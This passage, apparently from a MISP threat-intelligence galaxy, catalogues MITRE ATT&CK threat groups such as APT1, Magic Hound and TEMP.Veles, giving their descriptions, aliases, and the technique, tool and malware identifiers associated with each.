uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
Links |
Winnti Group - G0044
[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044"
Winnti Group - G0044 is also known as:
-
Winnti Group
-
Blackfly
Winnti Group - G0044 has relationships with:
-
similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Winnti - S0141" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
Gamaredon Group - G0047
[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)
The tag is: misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047"
Gamaredon Group - G0047 is also known as:
-
Gamaredon Group
Gamaredon Group - G0047 has relationships with:
-
similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Pteranodon - S0147" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
Charming Kitten - G0058
[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group’s TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)
The tag is: misp-galaxy:mitre-intrusion-set="Charming Kitten - G0058"
Charming Kitten - G0058 is also known as:
-
Charming Kitten
Charming Kitten - G0058 has relationships with:
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="DownPaper - S0186" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf |
Magic Hound - G0059
[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059"
Magic Hound - G0059 is also known as:
-
Magic Hound
-
Rocket Kitten
-
Operation Saffron Rose
-
Ajax Security Team
-
Operation Woolen-Goldfish
-
Newscaster
-
Cobalt Gypsy
-
APT35
Magic Hound - G0059 has relationships with:
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="sqlmap - S0225" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Havij - S0224" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
Stolen Pencil - G0086
[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Stolen Pencil - G0086"
Stolen Pencil - G0086 is also known as:
-
Stolen Pencil
Stolen Pencil - G0086 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/ |
Gorgon Group - G0078
[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Gorgon Group - G0078"
Gorgon Group - G0078 is also known as:
-
Gorgon Group
Gorgon Group - G0078 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Remcos - S0332" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
TEMP.Veles - G0088
[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)
The tag is: misp-galaxy:mitre-intrusion-set="TEMP.Veles - G0088"
TEMP.Veles - G0088 is also known as:
-
TEMP.Veles
-
XENOTIME
TEMP.Veles - G0088 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311" with estimative-language:likelihood-probability="almost-certain"
FIN10 - G0051
[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)
The tag is: misp-galaxy:mitre-intrusion-set="FIN10 - G0051"
FIN10 - G0051 is also known as:
-
FIN10
FIN10 - G0051 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf |
APT12 - G0005
[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)
The tag is: misp-galaxy:mitre-intrusion-set="APT12 - G0005"
APT12 - G0005 is also known as:
-
APT12
-
IXESHE
-
DynCalc
-
Numbered Panda
-
DNSCALC
APT12 - G0005 has relationships with:
-
similar: misp-galaxy:threat-actor="IXESHE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Ixeshe - S0015" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
APT30 - G0013
[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)
The tag is: misp-galaxy:mitre-intrusion-set="APT30 - G0013"
APT30 - G0013 is also known as:
-
APT30
APT30 - G0013 has relationships with:
-
similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="SHIPSHAPE - S0028" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NETEAGLE - S0034" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="FLASHFLOOD - S0036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SPACESHIP - S0035" with estimative-language:likelihood-probability="almost-certain"
Links |
APT1 - G0006
[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-intrusion-set="APT1 - G0006"
APT1 - G0006 is also known as:
-
APT1
-
Comment Crew
-
Comment Group
-
Comment Panda
APT1 - G0006 has relationships with:
-
similar: misp-galaxy:threat-actor="Comment Crew" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Lslsass - S0121" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cachedump - S0119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="xCmd - S0123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Seasalt - S0345" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"
Axiom - G0001
[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)
The tag is: misp-galaxy:mitre-intrusion-set="Axiom - G0001"
Axiom - G0001 is also known as:
-
Axiom
-
Group 72
Axiom - G0001 has relationships with:
-
similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"
Turla - G0010
